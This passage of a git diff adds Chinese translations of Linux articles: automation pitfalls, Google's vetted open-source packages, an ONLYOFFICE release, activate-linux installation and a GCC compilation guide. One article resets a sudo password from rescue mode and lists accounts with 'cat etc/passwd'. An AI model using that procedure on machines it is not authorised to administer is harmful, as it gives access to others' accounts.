+经常发生的第二个错误是没有预测脚本可能对其他资源施加的系统负载。当目标是十几个服务器时,运行从仓库下载文件或安装包的脚本可能没问题。脚本通常在成百上千台服务器上运行。这种负载可以使支持服务停止或完全崩溃。不要忘记考虑端点影响或设置合理的并发率。 + +### 离开脚本 + +自动化工具的一种用途是确保符合标准设置。自动化可以轻松确保组中的每台服务器都具有完全相同的设置。如果该组中的服务器需要根据该基线进行更改,同时管理员不了解合规标准,那么可能会出现问题。安装和启用不需要和不想要的服务,从而导致可能的安全问题。 + +### 缺乏文档 + +管理员的一项固定职责应该是记录他们的工作。由于合同到期、升职或定期员工流动,公司可能会在 IT 部门频繁招聘新员工。公司内的工作组相互隔离也很常见。由于这些原因,重要的是记录哪些自动化已经到位。与用户运行脚本不同,自动化可能会在创建它的人离开组之后继续很长时间。管理员可能会发现自己在其基础设施中面临着来自未经检查的自动化的奇怪行为。 + +### 缺乏经验 + +列表中的最后一个错误是管理员对他们正在自动化的系统不够了解。管理员经常被雇用到他们没有接受过足够培训且没有人可以求教的职位上工作。自 COVID 以来,当公司努力填补空缺时,这一点尤其重要。然后管理员被迫处理他们没有设置并且可能不完全理解的基础设施。这可能会导致非常低效的脚本浪费资源或配置错误的服务器。 + +### 结论 + +越来越多的管理员正在学习自动化来帮助他们完成日常任务。因此,自动化正被应用于更多的技术领域。希望此列表将有助于防止新用户犯这些错误,并敦促经验丰富的管理员重新评估他们的 IT 策略。自动化旨在减轻重复性任务的负担,而不是为最终用户带来更多工作。 + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/five-common-mistakes-when-using-automation/ + +作者:[Gary Scarborough][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/gscarbor/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2022/05/modern-times-816x345.jpg +[2]: https://en.wikipedia.org/wiki/Modern_Times_(film) +[3]: https://commons.wikimedia.org/wiki/File:Chaplin_-_Modern_Times.jpg diff --git a/published/202205/20220518 Google To Start Distributing A Collection Of Open Source Software libraries.md b/published/202205/20220518 Google To Start Distributing A Collection Of Open Source Software libraries.md new file mode 100644 index 0000000000..1edc4b7a48 --- /dev/null +++ b/published/202205/20220518 Google To Start Distributing A Collection Of Open Source Software libraries.md @@ -0,0 +1,42 @@ +[#]: subject: "Google To Start Distributing A Collection Of Open Source Software libraries" +[#]: via: "https://www.opensourceforu.com/2022/05/google-to-start-distributing-a-collection-of-open-source-software-libraries/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "beamrolling" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14641-1.html" + +谷歌开始分发一系列开源软件库 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/27/104331cwwqji26wlwwfw2n.jpg) + +5 月 17 日,谷歌推出了一项新计划,该计划向谷歌云用户策划并提供经过安全审查的开源包选项,以保护开源软件供应链。该公司在一篇 [博文][2] 中宣布了这项名为 “安心开源软件Assured Open Source Software” 的新服务。在博文中,谷歌云安全和隐私部门产品经理 Andy Chang 强调了保障开源软件的一些问题,并强调了谷歌对开源的承诺。 + +“开发者社区、企业及政府对软件供应链风险的意识越来越强,”Chang 写道,并以去年的 log4j 重大漏洞为例。“谷歌仍是开源代码最大的维护者、贡献者和使用者之一,并深入参与了帮助开源软件生态系统更加安全的工作。” + +据谷歌称,“安心开源软件”服务将让云客户能够访问谷歌的大量软件审计知识。另据其称,所有通过该服务提供的开源软件包也在公司内部使用,该公司会定期检查和分析其漏洞。 + +谷歌目前正在审核的 550 个重要开源库的清单可以在 [GitHub][3] 上找到。虽然这些库都可以独立于谷歌下载,但该计划将呈现通过谷歌云提供的审核版本,防止开发者破坏广泛使用的开放源码库。这项服务现在处于预先体验阶段,将在 2022 年第三季度准备好进行更广泛的消费者测试。 + +谷歌的声明只是广大行业努力加强开源软件供应链的安全的一部分,这份努力得到了拜登政府的支持。今年 1 月,美国国土安全部和美国网络安全与基础设施安全局的代表与美国一些主要 IT 公司的高管会面,研究 log4j 漏洞之后的开源软件安全问题。此后,有关公司在最近的一次峰会上承诺提供超过 3000 万美元的资金,以改善开源软件的安全问题。 + +除了现金,谷歌还在投入工程时间来确保供应链的安全。该公司已宣布发展一个“开源维护小组Open Source Maintenance Crew”,该团队将与库维护人员合作以提高安全性。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/05/google-to-start-distributing-a-collection-of-open-source-software-libraries/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[beamrolling](https://github.com/beamrolling) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/google3-1-e1652863988525.jpg +[2]: https://cloud.google.com/blog/products/identity-security/introducing-assured-open-source-software-service +[3]: https://github.com/google/oss-fuzz/tree/master/projects diff --git a/published/202205/20220518 How To Reset Sudo Password In Ubuntu 22.04 - 20.04 LTS.md b/published/202205/20220518 How To Reset Sudo Password In Ubuntu 22.04 - 20.04 LTS.md new file mode 100644 index 0000000000..b6bb934753 --- /dev/null +++ b/published/202205/20220518 How To Reset Sudo Password In Ubuntu 22.04 - 20.04 LTS.md @@ -0,0 +1,128 @@ +[#]: subject: "How To Reset Sudo Password In Ubuntu 22.04 / 20.04 LTS" +[#]: via: "https://ostechnix.com/how-to-reset-sudo-password-in-ubuntu-20-04-lts/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14648-1.html" + +如何在 Ubuntu 22.04 / 20.04 LTS 中重新设置 sudo 密码 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/29/083429wzrvirffinihrfv5.jpg) + +> 在 Ubuntu 中重新设置已忘记的 root 用户的密码 + +这篇简单的指南将向你解释,如何在 Ubuntu 22.04 好 20.04 LTS 桌面环境中,以及从服务器版本中的 恢复rescue 模式中重新设置 sudo 密码。 + +### 介绍 + +在 [安装 Ubuntu][1] 时,创建的一个新用户将会带有 `sudo` 权限,用以执行各种各样的管理任务。 + +如果你的 Ubuntu 系统有多个 `sudo` 用户,你能够从另外一个 `sudo` 用户的账号下,轻松地重新设置所忘记的一个 `sudo` 用户或管理员用户的密码。 + +如果你只有一个 `sudo` 用户,并且忘记了密码怎么办?没有问题! 从 Ubuntu 的 恢复rescue单一用户single user 模式中恢复 `sudo` 用户密码很容易。 + +虽然这篇指南是在 Ubuntu 22.04 和 20.04 LTS 版本上进行的正式测试,不过,下面给定的步骤对于其它的 Ubuntu 版本和衍生版本来说是相同的。 + +### 在 Ubuntu 22.04 / 20.04 LTS 中重新设置 sudo 密码 + +首先,启动你的 Ubuntu 系统到 恢复rescue 模式下,来重新设置一个 `sudo` 用户的密码,操作如下面的链接所述。 + +> [如何启动到 Ubuntu 22.04 /  20.04 / 18.04 的 恢复rescue 模式 或 急救Emergency模式 ][2] + +现在,进入到 恢复rescue 模式下,通过运行下面的命令,以读/写的模式挂载根(`/`)文件系统: + +``` +# mount -n -o remount,rw / +``` + +现在,使用 `passwd` 命令来重新设置 `sudo` 用户的密码: + +``` +# passwd ostechnix +``` + +在这里,`ostechnix` 是 sudo 用户的名称。使用你自己的用户名称来替换掉它。 + +输入两次密码: + +``` +New password: +Retype new password: +passwd: password updated successfully +``` + +![Reset Sudo Password In Ubuntu 22.04 / 20.04 LTS][3] + +就这样。我们已经重新设置 `sudo` 用户密码。如果你按照上面链接所述的方法 1 进入到 恢复rescue 模式,按下 `Ctrl+d` 组合键来启动到正常模式。或者,你也可以输入下面的任意一个命令来启动到正常模式。 + +``` +# systemctl default +``` + +或, + +``` +# exit +``` + +如果你想重新启动系统,而不是启动到正常模式,输入: + +``` +# systemctl reboot +``` + +如果你已经按照上面链接所述的方法 2 进入到恢复rescue 模式,输入: + +``` +# exit +``` + +你将返回到 恢复菜单recovery menu。现在选择 “恢复正常启动Resume normal boot”,并按下回车键。 + +![Boot Into Normal Mode In Ubuntu][4] + +在强调一次,选择 “确定OK” 按钮,并按下回车按键来继续启动到正常模式: + +![Exit Recovery Mode And Boot Into Normal Mode][5] + +现在,你在运行管理命令时可以使用新的 `sudo` 密码。 + +### 如果我把用户名称和密码都忘了怎么办? + +如果你忘记了用户名称,在 恢复rescue 模式下,你可以很容易地列出你的 Linux 系统中的用户名称,使用目录: + +``` +# cat etc/passwd +``` + +来自我 Ubuntu 22.04 系统的输出示例: + +``` +[...] +ostechnix:x:1000:1000:Ostechnix,,,:/home/ostechnix:/bin/bash +[...] +``` + +好了,现在,你找到用户名称了。只需要按照上面的步骤来重新设置用户的密码即可。 + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/how-to-reset-sudo-password-in-ubuntu-20-04-lts/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/install-ubuntu-desktop/ +[2]: https://ostechnix.com/how-to-boot-into-rescue-mode-or-emergency-mode-in-ubuntu-18-04/ +[3]: https://ostechnix.com/wp-content/uploads/2022/05/Reset-Sudo-Password-In-Ubuntu.png +[4]: https://ostechnix.com/wp-content/uploads/2020/05/Boot-into-normal-mode-in-Ubuntu.png +[5]: https://ostechnix.com/wp-content/uploads/2020/05/Booting-into-normal-mode-from-rescue-mode-in-Ubuntu.png diff --git a/published/202205/20220518 ONLYOFFICE 7.1 Release Adds ARM Compatibility, a New PDF Viewer, and More Features.md b/published/202205/20220518 ONLYOFFICE 7.1 Release Adds ARM Compatibility, a New PDF Viewer, and More Features.md new file mode 100644 index 0000000000..6bbbbe2e5f --- /dev/null +++ b/published/202205/20220518 ONLYOFFICE 7.1 Release Adds ARM Compatibility, a New PDF Viewer, and More Features.md @@ -0,0 +1,143 @@ +[#]: subject: "ONLYOFFICE 7.1 Release Adds ARM Compatibility, a New PDF Viewer, and More Features" +[#]: via: "https://news.itsfoss.com/onlyoffice-7-1-release/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lkxed" +[#]: translator: "PeterPan0106" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14630-1.html" + +ONLYOFFICE 7.1 发布,新增针对 ARM 的支持、新的 PDF 查看器 +====== + +> ONLYOFFICE Docs 7.1 带来了期待已久的针对文档、电子表格以及演示文稿编辑器的更新。对 ARM 的支持更是画龙点睛之笔。 + +![onlyoffice 7.1][1] + +ONLYOFFICE,被认为是 [最佳的微软 Office 替代品][2] 之一,刚刚发布了最新的 7.1 版本更新。 + +或许你不了解,ONLYOFFICE 可以在自托管的服务器(例如 Nextcloud)或者桌面上在线使用。 + +这个版本最为激动人心的变化就是初步支持了基于 ARM 的设备,例如树莓派。 + +接下来请让我们一起看看有什么新的变化。 + +### ONLYOFFICE 7.1 : 新变化 + +[![ONLYOFFICE Docs 7.1: PDF viewer, animations, print preview in spreadsheets][4]][3] + +除了对 ARM 的支持,ONLYOFFICE 7.1 还提供了如下新功能: + +* 一个全新的 PDF、XPS 和 DjVu 文件查看器 +* 更方便和可定制的图形选项 +* 电子表格打印预览 +* 演示文稿中的动画 +* 支持 SmartArt 对象 + +#### ARM 兼容 + +树莓派这样的基于 ARM 的设备正变得越来越热门,许多人已经期待了许久 ONLYOFFICE 对 ARM 架构的支持。 + +随着 7.1 版本的发布,ONLYOFFICE Docs 现在可以在所有 ARM64 设备上运行。由于 ARM 设备的效率和安全性的提高,我认为这将对 ONLYOFFICE 的未来产生很大的促进作用。 + +#### 全新的 PDF、XPS 和 DjVu 文件查看器 + +![onlyoffice][5] + +这是许多其他办公软件多年来的一个关键功能。从 ONLYOFFICE 7.1 开始,用户现在可以更方便地使用文档编辑器来查看 PDF、XPS 和 DjVu 文件。 + +新的视图选项卡为用户提供了一个页面缩略图视图和一个导航栏,其视图更为紧凑和简化。 + +此外,用户现在还可以将 PDF 文件转换为 DOCX 文件,以便对其进行编辑。因此,我们不用再额外打开其他软件进行处理了,这将显著优化现有的工作流并消除瓶颈。 + +#### 选择和编辑图形更加方便 + +![onlyoffice][6] + +图形做为现代办公软件的特性,在许多时候并没能发挥足够的作用。尽管 ONLYOFFICE 拥有这些功能已经有一段时间了,但它们在使用时总是相当笨重。 + +在 ONLYOFFICE 7.1 中,重新设计的图形选择菜单使得这种情况得到了改变。这个新的菜单与微软 Office 的同类产品非常相似,每个图标都可以从菜单中看到。 + +此外,它现在可以显示最近使用的图形,使批量插入图形更加容易。 + +图形的最后一项改进是能够使用鼠标来编辑它们。对于那些熟悉 Inkscape 等图形设计软件的人来说,这将会相当得心应手。通过简单地拖动点,你将可以在短时间内创建一个独特的形状。 + +#### 电子表格的打印预览 + +![][7] + +我相信每个人都发生过由于一个简单的错误而导致打印出现问题的情况。此前其他程序早已经解决了这个问题,但在 ONLYOFFICE 电子表格编辑器中一直没有这个功能。 + +新版本终于引入了“打印预览”,这将会显著改善上述的情况。 + +这并不算什么十分新颖的更新,只是说它补齐了短板并且可以节省纸张和打印耗材。 + +#### 改进的动画页面,便捷的剪切和复制 + +![][8] + +针对需要经常使用演示文稿的用户而言,这个版本增加了一个单独的动画标签,使动画的插入变得更为容易。 + +ONLYOFFICE 7.1 演示文稿编辑器现在支持各种动画,以及便捷地将一页幻灯片移动以及复制的能力。 + +#### SmartArt 对象的支持 + +SmartArt 是一种在文档、演示文稿和电子表格中便捷地制作自定义图形的工具。然而,它一直是微软办公软件的一个功能。虽然其他各种应用程序对该格式有不同程度的支持,但它们并不能与微软 Office 相媲美。 + +幸运的是,ONLYOFFICE 7.1 现在完全支持这种格式,并且没有任何乱码,仿佛原生的一般。用户将不再需要和以前一样在将 SmartArt 图形转换为普通图形和数字,便于无缝切换。 + +### 其他变化 + +ONLYOFFICE 7.1 的其他重要改进包括: + +* 新的客户端语言:加利西亚语和阿塞拜疆语 +* 在受密码保护的文件中,能够在输入密码的同时查看密码 +* OFORM 文件支持缩放选项 +* 能够按用户组过滤评论 +* 支持金字塔图表 +* 支持金字塔柱状图 +* 支持垂直和水平圆柱图 +* 支持垂直和水平圆锥图 +* 上下文菜单中的移动和复制幻灯片选项 +* 公式工具提示 +* 新的货币格式支持 + +若想了解全部新特性,请见 [发布日志][9]。 + +### 下载 ONLYOFFICE 7.1 + +总的来说,ONLYOFFICE 7.1 是一个兼容 ARM 并且功能更为丰富的版本。 + +所有版本(企业版、开发版者、社区版)都有更新。 + +下载方面提供了很多不同的软件包,包括用于 ARM 版本的 Docker 镜像、 Snap 软件包以及用于云供应商的即点即用选项。你可以前往下载页面,寻找最合适的安装程序。 + +下载页面同时列出了安装的官方指南。 + +> **[获取 ONLYOFFICE 7.1][10]** + +*你是否已经尝试了新版本呢?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/onlyoffice-7-1-release/ + +作者:[Jacob Crume][a] +选题:[lkxed][b] +译者:[PeterPan0106](https://github.com/PeterPan0106) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/05/onlyoffice-7-1.jpg +[2]: https://itsfoss.com/best-free-open-source-alternatives-microsoft-office/ +[3]: https://youtu.be/5-ervHAemZc +[4]: https://i.ytimg.com/vi/5-ervHAemZc/hqdefault.jpg +[5]: https://news.itsfoss.com/wp-content/uploads/2022/05/ONLYOFFICE-viewer.png +[6]: https://news.itsfoss.com/wp-content/uploads/2022/05/ONLYOFFICE-shapes.png +[7]: https://news.itsfoss.com/wp-content/uploads/2022/05/ONLYOFFICE-Print-Preview.png +[8]: https://news.itsfoss.com/wp-content/uploads/2022/05/ONLYOFFICE-Animations.png +[9]: https://www.onlyoffice.com/blog/2022/05/discover-onlyoffice-docs-v7-1/ +[10]: https://www.onlyoffice.com/download-docs.aspx diff --git a/published/202205/20220519 How To Enable Activate Linux Watermark Notification In Linux Desktop.md b/published/202205/20220519 How To Enable Activate Linux Watermark Notification In Linux Desktop.md new file mode 100644 index 0000000000..f97fdccf01 --- /dev/null +++ b/published/202205/20220519 How To Enable Activate Linux Watermark Notification In Linux Desktop.md @@ -0,0 +1,126 @@ +[#]: subject: "How To Enable Activate Linux Watermark Notification In Linux Desktop" +[#]: via: "https://ostechnix.com/activate-linux/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14617-1.html" + +如何在 Linux 桌面中启用 “激活 Linux” 水印通知 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/20/112226f7zmsvqqvt9tln9n.jpg) + +> “激活 Windows” 水印已移植到 Linux。 + +为了阻止 Windows 操作系统的盗版行为,微软开发团队想出了一个办法:在 Windows 的角落放置一个激活水印,直到用户合法购买许可证并激活它。 + +如果你的电脑正在运行盗版的 Windows 副本,你应该已经注意到右下角的 “激活 Windows” 水印通知,如下图所示。 + +![“激活 Windows” 通知][1] + +幸运的是,Linux 用户永远不会收到这样的通知。因为 GNU/Linux 是一个完全免费的开源操作系统,在 GNU 通用公共许可证(GPL)下发布。 + +任何人都可以运行、研究、修改和重新分发 Linux 源代码,甚至可以出售修改后的代码的副本,只要使用相同的许可即可。 + +Linux 是开源的,所以你真的可以用 Linux 做任何你在专有操作系统上不能做的事情。 + +你可以在 Linux 中做很多事情。你可以在 Linux 下构建和运行*几乎*任何东西,无论是有趣的项目还是企业级应用程序。甚至,你还可以添加 “激活 Linux” 水印。 + +### “激活 Linux” 是什么? + +几天前,我注意到了一个叫做 “激活 Linux” 的有趣项目。它和你在未经许可的 Windows 操作系统中看到的 “激活 Windows” 通知非常相似。 + +“激活 Linux” 的开发者使用 C 语言中的 Xlib 和 cairo,重新创建了 Linux 版的 “激活 Windows” 通知水印。 + +它会在你的 Linux 桌面上显示一个水印,并通知你进入设置以激活你的 Linux 发行版!这很酷,不是吗? + +### 启用 “激活 Linux” 水印 + +activate-linux 项目在短时间内变得非常流行。几天之内,它已经为许多流行的 Linux 发行版而打了包,例如 Arch Linux、openSUSE 和 Ubuntu。 + +#### Arch Linux + +[AUR][2] 已经收录 activate-linux。因此,你可以使用 [Paru][3] 或 [Yay][4] 在 Arch Linux 及其衍生版 EndeavourOS 和 Manjaro Linux 中安装 activate-linux 应用程序。 + +``` +$ paru -S activate-linux +``` + +或者 + +``` +$ yay -S activate-linux +``` + +#### openSUSE + +[OBS][5] 收录了 Activate-linux。 + +如果你正在使用 openSUSE Tumbleweed 版本,请逐条运行下面的命令来安装 activate-linux: + +``` +$ sudo zypper addrepo https://download.opensuse.org/repositories/home:WoMspace/openSUSE_Tumbleweed/home:WoMspace.repo +$ sudo zypper refresh +$ sudo zypper install activate-linux +``` + +对于 openSUSE Factory ARM 版,运行如下命令: + +``` +$ sudo zypper addrepo https://download.opensuse.org/repositories/home:WoMspace/openSUSE_Factory_ARM/home:WoMspace.repo +$ sudo zypper refresh +$ sudo zypper install activate-linux +``` + +#### Ubuntu + +activate-linux 有一个适用于 Ubuntu 及其衍生版(如 Pop!_OS)的 PPA。 + +``` +$ sudo add-apt-repository ppa:edd/misc +$ sudo apt update +$ sudo apt install activate-linux +``` + +安装完成后,只需在终端执行下面的命令,就可以让它运行起来: + +``` +$ activate-linux +``` + +现在,你将在桌面的角落看到 “激活 Linux” 水印通知,就像在未授权的 Windows 副本中一样。 + +![桌面上的 “激活 Linux” 水印][6] + +别紧张!它是无害的。若想取消显示,你可以返回终端并按 `CTRL+C` 终止 `activate-linux` 命令。 + +我在 Ubuntu 22.04 GNOME 版本上测试了一下。它在 Wayland 中开箱即用。 + +“激活 Linux” 是我这一段时间以来遇到的一个非常有趣又无用的项目。我想这会让每个刚从 Windows 切换过来的 Linux 用户,拥有更加舒适的体验吧! + +### 相关资源 + +* [“激活 Linux” 的 GitHub 存储库][7] + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/activate-linux/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/wp-content/uploads/2022/05/Activate-Windows-Notification.png +[2]: https://aur.archlinux.org/packages/activate-linux-git +[3]: https://ostechnix.com/how-to-install-paru-aur-helper-in-arch-linux/ +[4]: https://ostechnix.com/yay-found-yet-another-reliable-aur-helper/ +[5]: https://software.opensuse.org//download.html?project=home%3AWoMspace&package=activate-linux +[6]: https://ostechnix.com/wp-content/uploads/2022/05/Activate-Linux.png +[7]: https://github.com/MrGlockenspiel/activate-linux diff --git a/published/202205/20220520 A programmer-s guide to GNU C Compiler.md b/published/202205/20220520 A programmer-s guide to GNU C Compiler.md new file mode 100644 index 0000000000..38cc8d46af --- /dev/null +++ b/published/202205/20220520 A programmer-s guide to GNU C Compiler.md @@ -0,0 +1,269 @@ +[#]: subject: "A programmer's guide to GNU C Compiler" +[#]: via: "https://opensource.com/article/22/5/gnu-c-compiler" +[#]: author: "Jayashree Huttanagoudar https://opensource.com/users/jayashree-huttanagoudar" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14653-1.html" + +GNU C 编译器的程序员入门指南 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/30/111925gbh7yldbolroheqy.jpg) + +> 带你一窥生成二进制文件步骤的幕后,以便在出现一些错误时,你知道如何逐步解决问题。 + +C 语言广为人知,深受新老程序员的好评。使用 C 语言编写的源文件代码,使用了标准的英语术语,因而人们可以方便阅读。然而,计算机只能理解二进制代码。为将代码转换为机器语言,你需要使用一种被称为 编译器compiler 的工具。 + +最常见的编译器是 GCC(GNU 编译器集GNU Compiler Collection)。编译过程涉及到一系列的中间步骤及相关工具。 + +### 安装 GCC + +为验证在你的系统上是否已经安装了 GCC,使用 `gcc` 命令: + +``` +$ gcc --version +``` + +如有必要,使用你的软件包管理器来安装 GCC。在基于 Fedora 的系统上,使用 `dnf` : + +``` +$ sudo dnf install gcc libgcc +``` + +在基于 Debian 的系统上,使用 `apt` : + +``` +$ sudo apt install build-essential +``` + +在安装后,如果你想查看 GCC 的安装位置,那么使用: + +``` +$ whereis gcc +``` + +### 演示使用 GCC 来编译一个简单的 C 程序 + +这里有一个简单的 C 程序,用于演示如何使用 GCC 来编译。打开你最喜欢的文本编辑器,并在其中粘贴这段代码: + +``` +// hellogcc.c +#include + +int main() { + printf("Hello, GCC!\n"); + return 0; +} +``` + +保存文件为 `hellogcc.c` ,接下来编译它: + +``` +$ ls +hellogcc.c + +$ gcc hellogcc.c + +$ ls -1 +a.out +hellogcc.c +``` + +如你所见,`a.out` 是编译后默认生成的二进制文件。为查看你所新编译的应用程序的输出,只需要运行它,就像你运行任意本地二进制文件一样: + +``` +$ ./a.out +Hello, GCC! +``` + +### 命名输出的文件 + +文件名称 `a.out` 是非常莫名其妙的,所以,如果你想具体指定可执行文件的名称,你可以使用 `-o` 选项: + +(LCTT 译注:注意这和最近 Linux 内核废弃的 a.out 格式无关,只是名字相同,这里生成的 a.out 是 ELF 格式的 —— 也不知道谁给起了个 `a.out` 这破名字,在我看来,默认输出文件名就应该是去掉了 `.c` 扩展名后的名字。by wxy) + +``` +$ gcc -o hellogcc hellogcc.c + +$ ls +a.out hellogcc hellogcc.c + +$ ./hellogcc +Hello, GCC! +``` + +当开发一个需要编译多个 C 源文件文件的大型应用程序时,这种选项是很有用的。 + +### 在 GCC 编译中的中间步骤 + +编译实际上有四个步骤,即使在简单的用例中 GCC 自动执行了这些步骤。 + +1. 预处理Pre-Processing:GNU 的 C 预处理器(cpp)解析头文件(`#include` 语句),展开 macros 定义(`#define` 语句),并使用展开的源文件代码来生成一个中间文件,如 `hellogcc.i`。 +2. 编译Compilation:在这个期间中,编译器将预处理的源文件代码转换为指定 CPU 架构的汇编代码。由此生成是汇编文件使用一个 `.s` 扩展名来命名,如在这个示例中的 `hellogcc.s` 。 +3. 汇编Assembly:汇编程序(`as`)将汇编代码转换为目标机器代码,放在目标文件中,例如 `hellogcc.o` 。 +4. 链接Linking:链接器(`ld`)将目标代码和库代码链接起来生成一个可执行文件,例如 `hellogcc` 。 + +在运行 GCC 时,可以使用 `-v` 选项来查看每一步的细节: + +``` +$ gcc -v -o hellogcc hellogcc.c +``` + +![Compiler flowchart][2] + +### 手动编译代码 + +体验编译的每个步骤可能是很有用的,因此在一些情况下,你不需要 GCC 完成所有的步骤。 + +首先,除源文件文件以外,删除在当前文件夹下生成的文件。 + +``` +$ rm a.out hellogcc.o + +$ ls +hellogcc.c +``` + +#### 预处理器 + +首先,启动预处理器,将其输出重定向为 `hellogcc.i` : + +``` +$ cpp hellogcc.c > hellogcc.i + +$ ls +hellogcc.c hellogcc.i +``` + +查看输出文件,并注意一下预处理器是如何包含头文件和扩展宏中的源文件代码的。 + +#### 编译器 + +现在,你可以编译代码为汇编代码。使用 `-S` 选项来设置 GCC 只生成汇编代码: + +``` +$ gcc -S hellogcc.i + +$ ls +hellogcc.c hellogcc.i hellogcc.s + +$ cat hellogcc.s +``` + +查看汇编代码,来看看生成了什么。 + +#### 汇编 + +使用你刚刚所生成的汇编代码来创建一个目标文件: + +``` +$ as -o hellogcc.o hellogcc.s + +$ ls +hellogcc.c hellogcc.i hellogcc.o hellogcc.s +``` + +#### 链接 + +要生成一个可执行文件,你必须将对象文件链接到它所依赖的库。这并不像前面的步骤那么简单,但它却是有教育意义的: + +``` +$ ld -o hellogcc hellogcc.o +ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 +ld: hellogcc.o: in function `main`: +hellogcc.c:(.text+0xa): undefined reference to `puts' +``` + +在链接器查找完 `libc.so` 库后,出现一个引用 `undefined puts` 错误。你必须找出适合的链接器选项来链接必要的库以解决这个问题。这不是一个小技巧,它取决于你的系统的布局。 + +在链接时,你必须链接代码到核心运行时core runtime(CRT)目标,这是一组帮助二进制可执行文件启动的子例程。链接器也需要知道在哪里可以找到重要的系统库,包括 `libc` 和 `libgcc`,尤其是其中的特殊的开始和结束指令。这些指令可以通过 `--start-group` 和 `--end-group` 选项来分隔,或者使用指向 `crtbegin.o` 和 `crtend.o` 的路径。 + +这个示例使用了 RHEL 8 上的路径,因此你可能需要依据你的系统调整路径。 + +``` +$ ld -dynamic-linker /lib64/ld-linux-x86-64.so.2 \ + -o hello \ + /usr/lib64/crt1.o /usr/lib64/crti.o \ + --start-group \ + -L/usr/lib/gcc/x86_64-redhat-linux/8 \ + -L/usr/lib64 -L/lib64 hello.o \ + -lgcc \ + --as-needed -lgcc_s \ + --no-as-needed -lc -lgcc \ + --end-group \ + /usr/lib64/crtn.o +``` + +在 Slackware 上,同样的链接过程会使用一组不同的路径,但是,你可以看到这其中的相似之处: + +``` +$ ld -static -o hello \ + -L/usr/lib64/gcc/x86_64-slackware-linux/11.2.0/ \ + /usr/lib64/crt1.o /usr/lib64/crti.o hello.o /usr/lib64/crtn.o \ + --start-group \ + -lc -lgcc -lgcc_eh \ + --end-group +``` + +现在,运行由此生成的可执行文件: + +``` +$ ./hello +Hello, GCC! +``` + +### 一些有用的实用程序 + +下面是一些帮助检查文件类型、符号表symbol tables 和链接到可执行文件的库的实用程序。 + +使用 `file` 实用程序可以确定文件的类型: + +``` +$ file hellogcc.c +hellogcc.c: C source, ASCII text + +$ file hellogcc.o +hellogcc.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped + +$ file hellogcc +hellogcc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bb76b241d7d00871806e9fa5e814fee276d5bd1a, for GNU/Linux 3.2.0, not stripped +``` + +对目标文件使用 `nm` 实用程序可以列出 符号表symbol tables : + +``` +$ nm hellogcc.o +0000000000000000 T main + U puts +``` + +使用 `ldd` 实用程序来列出动态链接库: + +``` +$ ldd hellogcc +linux-vdso.so.1 (0x00007ffe3bdd7000) +libc.so.6 => /lib64/libc.so.6 (0x00007f223395e000) +/lib64/ld-linux-x86-64.so.2 (0x00007f2233b7e000) +``` + +### 总结 + +在这篇文章中,你了解到了 GCC 编译中的各种中间步骤,和检查文件类型、符号表symbol tables 和链接到可执行文件的库的实用程序。在你下次使用 GCC 时,你将会明白它为你生成一个二进制文件所要做的步骤,并且当出现一些错误时,你会知道如何逐步处理解决问题。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/gnu-c-compiler + +作者:[Jayashree Huttanagoudar][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 